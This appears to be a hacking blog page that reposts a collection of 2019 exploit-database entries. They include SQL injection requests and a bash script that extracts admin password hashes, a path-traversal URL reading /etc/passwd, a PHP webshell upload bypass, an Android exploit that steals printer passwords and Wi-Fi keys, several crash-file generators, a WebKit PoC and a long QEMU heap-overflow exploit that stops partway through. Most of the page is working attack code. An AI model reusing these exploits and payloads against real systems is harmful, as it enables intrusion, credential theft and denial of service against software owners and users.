# Exploit Title: YouPHPTube < 7.3 SQL Injection
# Google Dork: /
# Date: 19.08.2019
# Exploit Author: Fabian Mosch, r-tec IT Security GmbH
# Vendor Homepage: https://www.youphptube.com/
# Software Link: https://github.com/YouPHPTube/YouPHPTube
# Version: < 7.3
# Tested on: Linux/Windows
# CVE : CVE-2019-14430
The parameters "User" as well as "pass" of the user registration function are vulnerable to SQL injection vulnerabilities. By submitting an HTTP POST request to the URL "/objects/userCreate.json.php" an attacker can access the database and read the hashed credentials of an administrator for example.
Example Request:
POST /objects/userCreate.json.php HTTP/1.1
Host: vulnerablehost.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
[SomeHeaders and Cookies]
user=tes'INJECTHERE&pass=test'INJECTHERE &email=test%40example.com&name=test&captcha=xxxxx
Methods for DB-Extraction are:
- Boolean-based blind
- Error-based
- AND/OR time-based blind
The vulnerability was fixed with this commit:
https://github.com/YouPHPTube/YouPHPTube/commit/891843d547f7db5639925a67b7f2fd66721f703a
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863593584
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743
case GetByVal: {
...
unsigned numberOfArgumentsToSkip = 0;
if (candidate->op() == PhantomCreateRest)
numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip();
Node* result = nullptr;
if (m_graph.varArgChild(node, 1)->isInt32Constant()) {
unsigned index = m_graph.varArgChild(node, 1)->asUInt32();
InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame();
index += numberOfArgumentsToSkip;
bool safeToGetStack;
if (inlineCallFrame) {
safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1;
}
else {
safeToGetStack =
index < static_cast<unsigned>(codeBlock()->numParameters()) - 1;
}
if (safeToGetStack) {
StackAccessData* data;
VirtualRegister arg = virtualRegisterForArgument(index + 1);
if (inlineCallFrame)
arg += inlineCallFrame->stackOffset;
data = m_graph.m_stackAccessData.add(arg, FlushedJSValue);
Node* check = nullptr;
if (!inlineCallFrame || inlineCallFrame->isVarargs()) {
check = insertionSet.insertNode(
nodeIndex, SpecNone, CheckInBounds, node->origin,
m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use));
}
result = insertionSet.insertNode(
nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse));
}
}
The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances.
PoC:
function inlinee(index, value, ...rest) {
return rest[index | 0]; // GetByVal
}
function opt() {
return inlinee(-1, 0x1234); // or inlinee(0xffffffff, 0x1234)
}
inlinee(0, 0);
for (let i = 0; i < 1000000; i++) {
opt();
}
print(opt()); // 0x1234
# Exploit Title: PilusCart <= 1.4.1 - Local File Disclosure
# Date: 29 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://sourceforge.net/projects/pilus/
# Version: <= 1.4.1
# Tested on: Ubuntu 18.04.1
The e-commerce software 'PilusCart' is not validating the 'filename' passed correctly,
which leads to Local File Disclosure.
As of today (29 August 2019) this issue is unfixed.
Vulnerable code: (catalog.php on line 71)
readfile("$direktori$filename");
Proof-of-Concept:
https://domain.tld/catalog.php?filename=../../../../../../../../../etc/passwd
#!/bin/bash
# Exploit Title: Jobberbase 2.0 - 'subscribe' SQL injection
# Date: 29 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: http://www.jobberbase.com/
# Version: 2.0
# Tested on: Ubuntu 18.04.1
: '
The page "/subscribe/" is vulnerable for SQL injection.
Simply make a POST request to /subscribe/ with the parameters:
- email=jobber@zerodays.lol
- category=1337<inject_here>
You can use this script to verify if YOUR OWN instance is vulnerable.
$ bash verify.sh http://localhost/jobberbase/
admin:1a1dc91c907325c69271ddf0c944bc72
'
: 'Fetch the username'
USERNAME=$(curl -s "$1/subscribe/" \
-d "email=jobber@zerodays.lol" \
-d "category=-1337 and updatexml(0,concat(0x0a,(select username from admin limit 0,1),0x0a),0)-- -" \
-d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
: 'Ugly way to fetch the password hash'
PASS=$(curl -s "$1/subscribe/" \
-d "email=jobber@zerodays.lol" \
-d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,1,16) from admin limit 0,1),0x0a),0)-- -" \
-d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
WORD=$(curl -s "$1/subscribe/" \
-d "email=jobber@zerodays.lol" \
-d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,17,16) from admin limit 0,1),0x0a),0)-- -" \
-d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
: 'Print the user:hash (note: default login is admin:admin)'
echo -e "$USERNAME:$PASS$WORD"
#!/usr/bin/python
# SWAMI KARUPASAMI THUNAI
print("""
############################################################################
###
# Exploit Title: Easy MP3 Downloader Denial of Service
# Date: 2019-08-29
# Exploit Author: Mohan Ravichandran & Snazzy Sanoj
# Organization : StrongBox IT
# Vulnerable Software: Easy MP3 Downloader
# Version: 4.7.8.8
# Software Link:
https://download.cnet.com/Easy-MP3-Downloader/3000-2141_4-10860695.html
# Tested On: Windows 10
#
# Credit to Snazzy Sanoj & Meshach for discovering the Vulnerbility
# Vulnerability Disclosure Date : 2019-08-29
#
# Manual steps to reproduce the vulnerability ...
#1. Download and install the setup file
#2. Run this exploit code via python 2.7
#3. A file "exploit.txt" will be created
#4. Copy the contents of the file
#5. While launching the application select Enter SN
#6. Enter random string and press Ok
#7. Then select manual option
#8. Then Copy the contents of the exploit.txt and paste on the Unlock Code
field
#9. Click Ok and voila ! :P Application crashes
############################################################################
###
""")
file = open("exploit.txt","wb")
junk = "A" * 6000
file.write(junk)
file.close()
#Exploit Title: SQL Server Password Changer v1.90 Denial of Service Exploit
# Date: 29.08.2019
# Vendor Homepage:https://www.top-password.com/
# Exploit Author: Velayutham Selvaraj & Praveen Thiyagarayam (TwinTech Solutions)
# Tested Version: v2.10
# Tested on: Windows 8 x64
# Windows 7 x64
# 1.- Run python code :Outlook Password Recovery.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open SQL Server Password Changer and Click 'EnterKey'
# 4.- Paste the content of EVIL.txt into the Field: 'User Name and Registration Code'
# 5.- Click 'OK' and you will see a crash.
#!/usr/bin/env python
buffer = "x41" * 6000
try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
# Exploit Title: Sentrifugo 3.2 - File Upload Restriction Bypass
# Google Dork: N/A
# Date: 8/29/2019
# Exploit Author: creosote
# Vendor Homepage: http://www.sentrifugo.com/
# Version: 3.2
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-15813
Multiple File Upload Restriction Bypass vulnerabilities were found in Sentrifugo 3.2. This allows for an authenticated user to potentially obtain RCE via webshell.
File upload bypass locations:
/sentrifugo/index.php/mydetails/documents -- Self Service >> My Details >> Documents (any permissions needed)
sentrifugo/index.php/policydocuments/add -- Organization >> Policy Documents (higher permissions needed)
# POC
1. Self Service >> My Details >> Documents >> add New Document (/sentrifugo/index.php/mydetails/documents)
2. Turn Burp Intercept On
3. Select webshell with valid extension - ex: shell.php.doc
4. Alter request in the upload...
Update 'filename' to desired extension. ex: shell.php
Change content type to 'application/x-httpd-php'
Example exploitation request:
====================================================================================================
POST /sentrifugo/index.php/employeedocs/uploadsave HTTP/1.1
Host: 10.42.1.42
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.42.1.42/sentrifugo/index.php/mydetails/documents
X-Requested-With: XMLHttpRequest
Content-Length: 494
Content-Type: multipart/form-data; boundary=---------------------------205946976257369239535727507
Cookie: PHPSESSID=vr0ik0kof2lpg0jlc9gp566qb5
Connection: close
-----------------------------205946976257369239535727507
Content-Disposition: form-data; name="myfile"; filename="shell.php"
Content-Type: application/x-httpd-php
<?php $cmd=$_GET['cmd']; system($cmd);?>
-----------------------------205946976257369239535727507
Content-Disposition: form-data; name=""
undefined
-----------------------------205946976257369239535727507
Content-Disposition: form-data; name=""
undefined
-----------------------------205946976257369239535727507--
====================================================================================================
5. With intercept still on, Save the document and copy the 'file_new_names' parmeter from the new POST request.
6. Append above saved parameter and visit your new webshell
Ex: http://10.42.1.42/sentrifugo/public/uploads/employeedocs/1565996140_5_shell.php?cmd=cat /etc/passwd
# Exploit Title: Content Provider URI Injection on Canon PRINT 2.5.5
(CVE-2019-14339)
# Date: 24th July, 2019
# Exploit Author: 0x48piraj
# Vendor Homepage: https://www.usa.canon.com/internet/portal/us/home/explore/printing-innovations/mobile-printing/canon-print-app
# Software Link: https://play.google.com/store/apps/details?id=jp.co.canon.bsd.ad.pixmaprint
<https://play.google.com/store/apps/details?id=jp.co.canon.bsd.ad.pixmaprint&hl=en_IN>#
Exploit : https://github.com/0x48piraj/CVE-2019-14339
# Version: Canon PRINT 2.5.5
# Tested on: Android 8.0.0
# CVE : CVE-2019-14339
The ContentProvider in the Canon PRINT 2.5.5 application for Android
does not properly restrict data access. This allows an attacker's
malicious application to obtain sensitive information including
factory passwords for administrator web-interface and WPA2-PSK key.
The mobile application contains unprotected exported content providers
('IJPrinterCapabilityProvider' in android/AndroidManifest.xml) that
discloses sensitive application’s data under certain conditions. To
securely export the content provider, one should restrict access to it
by setting up android:protectionLevel or android:grantUriPermissions
attributes in Android Manifest file.
-- Proof-of-concept code (Java)
--
package cannon.print.pwn;
import android.database.Cursor;
import android.net.Uri;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
import org.apache.commons.lang3.StringUtils; //
https://stackoverflow.com/a/50198499
public class MainActivity extends AppCompatActivity {
Button PwnBtn;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
PwnBtn = (Button) findViewById(R.id.button);
PwnBtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Toast.makeText(getApplicationContext(), "Payload
triggered ...", Toast.LENGTH_SHORT).show();
Uri cannonURI =
Uri.parse("content://canon.ij.printer.capability.data/");
Cursor cursor = getContentResolver().query(cannonURI,
null, null, null, null);
int count = cursor.getCount();
TextView data=(TextView)findViewById(R.id.data);
data.setText(String.valueOf(count));
cursor.moveToFirst();
String tempstr = " ";
tempstr =" "+tempstr +"\t"+ cursor.getString(0) + "\t\t\t"
+ cursor.getString(1) + "\t\t\t" + cursor.getString(2);
String dpw = StringUtils.substringBetween(tempstr,
"<ivec:product_serialnumber>", "</ivec:product_serialnumber>");
String dmac = cursor.getString(4);
String mdeviceid = cursor.getString(13); // raw
String dtype = StringUtils.substringBetween(mdeviceid,
";CLS:", ";DES");
String timestamp = cursor.getString(15); // ticks,
device last used
String dclass = StringUtils.substringBetween(tempstr,
"<ivec:manufacturer>", "</ivec:manufacturer>");
String dmodel = StringUtils.substringBetween(tempstr,
"<ivec:model>", "</ivec:model>");
String dserial = StringUtils.substringBetween(tempstr,
"<ivec:serialnumber>", "</ivec:serialnumber>");
String dfmver = StringUtils.substringBetween(tempstr,
"<ivec:firmver>", "</ivec:firmver>");
String dservice =
StringUtils.substringBetween(tempstr, "<ivec:service>",
"</ivec:service>");
/* More juicy data
String denv = StringUtils.substringBetween(tempstr,
"<vcn:host_environment>", "</vcn:host_environment>");
String dpapertype =
StringUtils.substringBetween(tempstr, "<ivec:papertype>",
"</ivec:papertype>");
String dformats =
StringUtils.substringBetween(tempstr, "<ivec:support_data_format>",
"</ivec:support_data_format>");
*/
String fout = String.format("Device Type : %s\nDevice
Class : %s\nDevice Model : %s\nDevice Serial : %s\nDevice MAC Address
: %s\nDevice Factory Password : %s\nDevice Firmware Version :
%s\nDevice Services : %s\nDevice Last Used : %s\n", dtype, dclass,
dmodel, dserial, dmac, dpw, dfmver, dservice, timestamp);
data.setText(fout);
}
});
}
}
-- Proof-of-concept python script over ADB --
import subprocess, datetime, sys
def ext(out, var, rw=';'):
return out.split(var)[1].split(rw)[0]
print("[#] Make sure you've connected the target device w/ adb ...")
print("[*] Running the exploit using adb ...\n\n")
out = subprocess.getoutput("adb shell content query --uri content://canon.ij.printer.capability.data/")
if "<ivec:contents>" not in out:
print("[!] Error: Couldn't fetch data from adb ...")
sys.exit(1)
varz = [";CLS:", ";MDL:", ";DES:", ";VER:", ";PSE:"] #
factory_pw_check =
out.split("<ivec:product_serialnumber>")[1].split('</ivec:product_serialnumber>')[0]
prmz = ["Class", "Model", "Description", "Firmware Version", "Factory Password"]
for prm, var in zip(prmz, varz):
print(" -- Device %s : %s" % (prm, ext(out, var)))
print(" -- Device MAC Address : {}".format(ext(out, 'mmacaddress=', ',')))
print(" -- Device Last Used : %s" % (datetime.timedelta(microseconds =
int(ext(out,', timestamp=', ', '))/10)))
#!/usr/bin/python
# Exploit Title: Asus Precision TouchPad 11.0.0.25 - DoS/Privesc
# Date: 29-08-2019
# Exploit Author: Athanasios Tserpelis of Telspace Systems
# Vendor Homepage: https://www.asus.com
# Version: 11.0.0.25
# Software Link : https://www.asus.com
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows 10 RS5 x64
# CVE: CVE-2019-10709
from ctypes import *
kernel32 = windll.kernel32
ntdll = windll.ntdll
NULL = 0
hevDevice = kernel32.CreateFileA("\\\\.\\AsusTP", 0xC0000000, 0, None, 0x3, 0, None)
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle."
sys.exit(0)
buf = "A"*12048
raw_input("Press Enter to Trigger Vuln")
kernel32.DeviceIoControl(hevDevice, 0x221408, buf, 0x1, buf, 0x1 , 0, NULL)
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <linux/icmp.h>
#include <linux/if_packet.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <time.h>
#define die(x) do { \
perror(x); \
exit(EXIT_FAILURE); \
}while(0);
// * * * * * * * * * * * * * * * Constans * * * * * * * * * * * * * * * * * *
#define SRC_ADDR "10.0.2.15"
#define DST_ADDR "10.0.2.2"
#define INTERFACE "ens3"
#define ETH_HDRLEN 14 // Ethernet header length
#define IP4_HDRLEN 20 // IPv4 header length
#define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data
#define MIN_MTU 12000
// * * * * * * * * * * * * * * * QEMU Symbol offset * * * * * * * * * * * * * * * * * *
#define SYSTEM_PLT 0x029b290
#define QEMU_CLOCK 0x10e8200
#define QEMU_TIMER_NOTIFY_CB 0x2f4bff
#define MAIN_LOOP_TLG 0x10e81e0
#define CPU_UPDATE_STATE 0x488190
// Some place in bss which is not used to craft fake stucts
#define FAKE_STRUCT 0xf43360
// * * * * * * * * * * * * * * * QEMU Structs * * * * * * * * * * * * * * * * * *
struct mbuf {
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */
int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;
char * m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */
void *slirp;
char resolution_requested;
u_int64_t expiration_date;
char *m_ext;
/* start of dynamic buffer area, must be last element */
char * m_dat;
};
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
void *timer_list;
void *cb;
void *opaque;
void *next;
int scale;
};
struct QEMUTimerList {
void * clock;
char active_timers_lock[0x38];
struct QEMUTimer *active_timers;
struct QEMUTimerList *le_next; /* next element */ \
struct QEMUTimerList **le_prev; /* address of previous next element */ \
void *notify_cb;
void *notify_opaque;
/* lightweight method to mark the end of timerlist's running */
size_t timers_done_ev;
};
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
int raw_socket;
int recv_socket;
int spray_id;
int idx;
char mac[6];
void * code_leak;
void * heap_leak;
void *Malloc(size_t size) {
void * ptr = calloc(size,1);
if (!ptr) {
die("malloc() failed to allocate");
}
return ptr;
}
unsigned short in_cksum(unsigned short *ptr,int nbytes) {
register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */
/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}
/*
* Add back carry outs from top 16 bits to low 16 bits.
*/
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return(answer);
}
void hex_dump(char *desc, void *addr, int len)
{
int i;
unsigned char buff[17];
unsigned char *pc = (unsigned char*)addr;
if (desc != NULL)
printf ("%s:\n", desc);
for (i = 0; i < len; i++) {
if ((i % 16) == 0) {
if (i != 0)
printf(" %s\n", buff);
printf(" %04x ", i);
}
printf(" %02x", pc[i]);
if ((pc[i] < 0x20) || (pc[i] > 0x7e)) {
buff[i % 16] = '.';
} else {
buff[i % 16] = pc[i];
}
buff[(i % 16) + 1] = '\0';
}
while ((i % 16) != 0) {
printf(" ");
i++;
}
printf(" %s\n", buff);
}
char * ethernet_header(char * eth_hdr){
/* src MAC : 52:54:00:12:34:56 */
memcpy(ð_hdr[6],mac,6);
// Next is ethernet type code (ETH_P_IP for IPv4).
// http://www.iana.org/assignments/ethernet-numbers
eth_hdr[12] = ETH_P_IP / 256;
eth_hdr[13] = ETH_P_IP % 256;
return eth_hdr;
}
void ip_header(struct iphdr * ip ,u_int32_t src_addr,u_int32_t dst_addr,u_int16_t payload_len,
u_int8_t protocol,u_int16_t id,uint16_t frag_off){
/* rfc791 */
ip->ihl = IP4_HDRLEN / sizeof (uint32_t);
ip->version = 4;
ip->tos = 0x0;
ip->tot_len = htons(IP4_HDRLEN + payload_len);
ip->id = htons(id);
ip->ttl = 64;
ip->frag_off = htons(frag_off);
ip->protocol = protocol;
ip->saddr = src_addr;
ip->daddr = dst_addr;
ip->check = in_cksum((unsigned short *)ip,IP4_HDRLEN);
}
void icmp_header(struct icmphdr *icmp, char *data, size_t size) {
/* rfc792 */
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->un.echo.id = htons(0);
icmp->un.echo.sequence = htons(0);
if (data) {
char * payload = (char * )icmp+ ICMP_HDRLEN;
memcpy(payload, data, size);
}
icmp->checksum = in_cksum((unsigned short *)icmp, ICMP_HDRLEN + size);
}
void send_pkt(char *frame, u_int32_t frame_length) {
struct sockaddr_ll sock;
sock.sll_family = AF_PACKET;
sock.sll_ifindex = idx;
sock.sll_halen = 6;
memcpy (sock.sll_addr, mac, 6 * sizeof (uint8_t));
if(sendto(raw_socket,frame,frame_length,0x0,(struct sockaddr *)&sock,
sizeof(sock))<0)
die("sendto()");
}
void send_ip4(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) {
u_int32_t src_addr, dst_addr;
src_addr = inet_addr(SRC_ADDR);
dst_addr = inet_addr(DST_ADDR);
char * pkt = Malloc(IP_MAXPACKET);
struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
ethernet_header(pkt);
u_int16_t payload_len = size;
ip_header(ip,src_addr,dst_addr,payload_len,IPPROTO_ICMP,id,frag_off);
if(data) {
char * payload = (char *)pkt + ETH_HDRLEN + IP4_HDRLEN;
memcpy(payload, data, payload_len);
}
u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + payload_len;
send_pkt(pkt,frame_length);
free(pkt);
}
void send_icmp(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) {
char * pkt = Malloc(IP_MAXPACKET);
struct icmphdr * icmp = (struct icmphdr * )(pkt);
if(!data)
data = Malloc(size);
icmp_header(icmp,data,size);
u_int32_t len = ICMP_HDRLEN + size;
send_ip4(id,len,pkt,frag_off);
free(pkt);
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
void initialize() {
int sd;
struct ifreq ifr;
char interface[40];
int mtu;
srand(time(NULL));
strcpy (interface, INTERFACE);
// Submit request for a socket descriptor to look up interface.
if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
die("socket() failed to get socket descriptor for using ioctl()");
}
// Use ioctl() to get interface maximum transmission unit (MTU).
memset (&ifr, 0, sizeof (ifr));
strcpy (ifr.ifr_name, interface);
if (ioctl (sd, SIOCGIFMTU, &ifr) < 0) {
die("ioctl() failed to get MTU ");
}
mtu = ifr.ifr_mtu;
printf ("MTU of interface %s : %i\n", interface, mtu);
if (mtu < MIN_MTU) {
printf("Run\n$ ip link set dev %s mtu 12000\n",interface);
die("");
}
// Use ioctl() to look up interface name and get its MAC address.
memset (&ifr, 0, sizeof (ifr));
snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
if (ioctl (sd, SIOCGIFHWADDR, &ifr) < 0) {
die("ioctl() failed to get source MAC address ");
}
memcpy (mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof (uint8_t));
printf ("MAC %s :", interface);
for (int i=0; i<5; i++) {
printf ("%02x:", mac[i]);
}
printf ("%02x\n", mac[5]);
// Use ioctl() to look up interface index which we will use to
// bind socket descriptor sd to specified interface with setsockopt() since
// none of the other arguments of sendto() specify which interface to use.
memset (&ifr, 0, sizeof (ifr));
snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
if (ioctl (sd, SIOCGIFINDEX, &ifr) < 0) {
die("ioctl() failed to find interface ");
}
close (sd);
printf ("Index for interface %s : %i\n", interface, ifr.ifr_ifindex);
idx = ifr.ifr_ifindex;
if((raw_socket = socket(PF_PACKET, SOCK_RAW, htons (ETH_P_ALL)))==-1)
die("socket() failed to obtain raw socket");
/* Bind socket to interface index. */
if (setsockopt (raw_socket, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0) {
die("setsockopt() failed to bind to interface ");
}
printf("Initialized socket discriptors\n");
}
void spray(uint32_t size, u_int32_t count) {
printf("Spraying 0x%x x ICMP[0x%x]\n",count,size);
int s;
u_int16_t frag_off;
char * data;
for (int i = 0; i < count; i++) {
send_icmp(spray_id + i,size, NULL, IP_MF);
}
}
void arbitrary_write(void *addr, size_t addrlen, char *payload, size_t size,
size_t spray_count) {
spray(0x8, spray_count);
size_t id = spray_id + spray_count;
// Target
size_t target_id = id++;
send_ip4(target_id, 0x8, NULL, IP_MF);
// Padding
send_ip4(id++, 0x8, NULL, IP_MF);
send_ip4(id++, 0x8, NULL, IP_MF);
// Piviot Point
size_t hole_1 = id++;
send_ip4(hole_1, 0x8, NULL, IP_MF);
// Padding
send_ip4(id++, 0xC30, NULL, IP_MF);
// For creating hole
size_t hole_2 = id++;
send_ip4(hole_2, 0x8, NULL, IP_MF);
// To prevent consolidation
send_ip4(id++, 0x8, NULL, IP_MF);
// This should create the fist hole
send_ip4(hole_1, 0x8, NULL, 0x1);
// This should create the second hole
send_ip4(hole_2, 0x8, NULL, 0x1);
int m_data_off = -0x70;
int m_len = m_data_off;
addr = (void *)((size_t)addr + ((m_len * -1) - addrlen));
if (addrlen != 0x8) {
m_len -= (0x8 - addrlen);
}
size_t vuln_id = id++;
char * pkt = Malloc(IP_MAXPACKET);
memset(pkt,0x0,IP_MAXPACKET);
struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
ethernet_header(pkt);
u_int16_t pkt_len = 0xc90;
ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF);
u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;
// The mbuf of this packet will be placed in the second hole and
// m_ext buff will be placed on the first hole, We will write wrt
// to this.
send_pkt(pkt,frame_length);
memset(pkt,0x0,IP_MAXPACKET);
ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
ethernet_header(pkt);
pkt_len = 0x8;
ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192);
frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;
// Trigger the bug to change target's m_len
send_pkt(pkt,frame_length);
// Underflow and write, to change m_data
char addr_buf[0x8] = {0};
if (addrlen != 0x8) {
memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen);
} else {
memcpy(addr_buf,(char *)&addr,8);
}
send_ip4(target_id, 0x8, addr_buf, 0x1|IP_MF);
send_ip4(target_id, size, payload, 0x2);
hex_dump("Writing Payload ", payload, size);
}
void recv_leaks(){
/* Prepare recv sd */
/* Submit request for a raw socket descriptor to receive packets. */
int recvsd, fromlen, bytes, status;
struct sockaddr from;
char recv_ether_frame[IP_MAXPACKET];
struct iphdr *recv_iphdr = (struct iphdr *)(recv_ether_frame + ETH_HDRLEN);
struct icmphdr *recv_icmphdr =
(struct icmphdr *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);
for (;;) {
memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));
memset(&from, 0, sizeof(from));
fromlen = sizeof(from);
if ((bytes = recvfrom(recv_socket, recv_ether_frame, IP_MAXPACKET, 0,
(struct sockaddr *)&from, (socklen_t *)&fromlen)) <
0) {
status = errno;
// Deal with error conditions first.
if (status == EAGAIN) { // EAGAIN = 11
printf("Time out\n");
} else if (status == EINTR) { // EINTR = 4
continue; // Something weird happened, but let's keep listening.
} else {
perror("recvfrom() failed ");
exit(EXIT_FAILURE);
}
} // End of error handling conditionals.
// Check for an IP ethernet frame, carrying ICMP echo reply. If not, ignore
// and keep listening.
if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) == ETH_P_IP) &&
(recv_iphdr->protocol == IPPROTO_ICMP) &&
(recv_icmphdr->type == ICMP_ECHOREPLY) && (recv_icmphdr->code == 0) &&
(recv_icmphdr->checksum == 0xffff)) {
hex_dump("Recieved ICMP Replay : ", recv_ether_frame, bytes);
code_leak = (void *)(*((size_t *)&recv_ether_frame[0x40]) - CPU_UPDATE_STATE);
size_t *ptr = (size_t *)(recv_ether_frame + 0x30);
for (int i = 0; i < (bytes / 0x8); i++) {
if ((ptr[i] & 0x7f0000000000) == 0x7f0000000000) {
heap_leak = (void *)(ptr[i] & 0xffffff000000);
break;
}
}
printf("Host Code Leak : %p\n", code_leak);
printf("Host Heap Leak : %p\n", heap_leak);
break;
}
}
}
void leak() {
u_int32_t src_addr, dst_addr;
src_addr = inet_addr(SRC_ADDR);
dst_addr = inet_addr(DST_ADDR);
/* Crafting Fake ICMP Packet For Leak */
char * pkt = Malloc(IP_MAXPACKET);
struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
struct icmphdr * icmp = (struct icmphdr * )(pkt+ETH_HDRLEN+IP4_HDRLEN);
ethernet_header(pkt);
ip_header(ip,src_addr,dst_addr,ICMP_HDRLEN,IPPROTO_ICMP,0xbabe,IP_MF);
ip->tot_len = ntohs(ip->tot_len) - IP4_HDRLEN;
ip->id = ntohs(ip->id);
ip->frag_off = htons(ip->frag_off);
icmp_header(icmp,NULL,0x0);
char * data = (char *)icmp + ICMP_HDRLEN + 8;
size_t pkt_len = ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN;
spray_id = rand() & 0xffff;
arbitrary_write((void * )(0xb00-0x20),3,pkt,pkt_len+4,0x100);
// This is same as the arbitrary write function
spray_id = rand() & 0xffff;
spray(0x8, 0x20);
size_t id = spray_id + 0x20;
size_t replay_id = id++;
send_ip4(replay_id, 0x100, NULL, IP_MF);
// Target
size_t target_id = id++;
send_ip4(target_id, 0x8, NULL, IP_MF);
// Padding
send_ip4(id++, 0x8, NULL, IP_MF);
send_ip4(id++, 0x8, NULL, IP_MF);
// Piviot Point
size_t hole_1 = id++;
send_ip4(hole_1, 0x8, NULL, IP_MF);
// Padding
send_ip4(id++, 0xC30, NULL, IP_MF);
// For creating hole
size_t hole_2 = id++;
send_ip4(hole_2, 0x8, NULL, IP_MF);
// Prevent Consolidation
send_ip4(id++, 0x8, NULL, IP_MF);
// This should create the fist hole
send_ip4(hole_1, 0x8, NULL, 0x1);
// This should create the second hole
send_ip4(hole_2, 0x8, NULL, 0x1);
// Trigger the bug to change target's m_len
int m_data_off = -0xd50;
int m_len = m_data_off;
size_t * addr = (size_t * )(0xb00 - 0x20 + ETH_HDRLEN + 0xe + 6) ;
size_t addrlen = 0x3;
if (addrlen != 0x8) {
